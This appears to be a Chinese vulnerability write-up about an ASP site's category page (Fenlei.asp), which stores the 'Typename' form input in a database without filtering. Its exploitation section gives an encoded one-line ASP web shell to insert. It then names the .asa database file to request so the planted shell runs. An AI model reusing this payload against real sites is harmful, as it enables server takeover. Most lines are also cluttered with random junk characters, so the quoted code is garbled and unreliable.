'Fenlei.asp
/ F2 J" [( K7 i" ]% ?6 [/ D* _/ x8 Q3 S5 @
IF Request.QueryString("Action")="del" Then
/ O% A2 q, s$ ?3 A* PID=Request.QueryString("ID")
' x6 G. g6 R* J4 H8 W; Y. MIF Countss ("tui","Fenlei",ID )<>0 then : M; _6 r$ M# O t
'略
: z9 @8 i7 ^4 w9 OIF Request.QueryString("Action")="Add" Then
$ M0 `0 K2 o4 J0 E2 @Tname=Request.Form("Typename")
9 p, S( `/ x8 A, c4 DSet Rs=Server.CreateObject("adodb.Recordset")
3 `8 O) L/ J( v7 J2 `& |Sql="Select * From Fenlei Order by id Desc " 6 Y# }( c$ ~2 h: l3 ~9 T% T
Rs.Open Sql,Conn,1,3 / O2 J) Q3 W$ F, v6 Z5 p7 `
Rs.Addnew 7 \0 }, V; Z" ^& Q. v
Rs("Typename")=Tname
3 G4 C4 i A; o9 m* }'略
2 a! o7 H) o- k! HSet Rs=Server.CreateObject("adodb.Recordset")
+ q4 j9 ~3 \6 P3 \, h: I# G3 kSql="Select * From Fenlei Order by id Desc " . h: I& F1 R% K, T! H9 n
Rs.Open Sql,Conn,1,1
2 z0 y7 Y3 S0 Q0 S* R6 m'略 ( K: G3 ?/ s3 [
%>
' Z& p; d+ C0 w & C4 ^0 [- ?+ H, r6 {7 M# P
6 Q6 ?7 ~/ j9 G" t* c, d5 O. ] / w c" p' B Q
没有过滤,直接写入数据库。$ r7 K% {$ w9 a' D3 j" Q) U9 p
/ C6 s6 @ {2 h. E, d8 U" L, B利用方法:* N! f. x" u* Z8 }
" F0 ]; S5 G' c5 Q A) \5 a# g! W
插入:┼攠數畣整爠煥敵瑳∨≡┩>
9 H7 }$ |. Y0 d D " U" Q+ b* T" Y( C3 G% C
8 I c- f( L4 E5 L. u3 e
连接: http://www.xxx.com/###tongbaner.asa
$ W" q, Y7 U% L'默认安装文件: ! l, i3 r$ v! I6 G$ Q9 D1 ]
'install.asp
5 }5 J4 r1 ^! o3 ]# [2 w0 f6 C8 i2 V |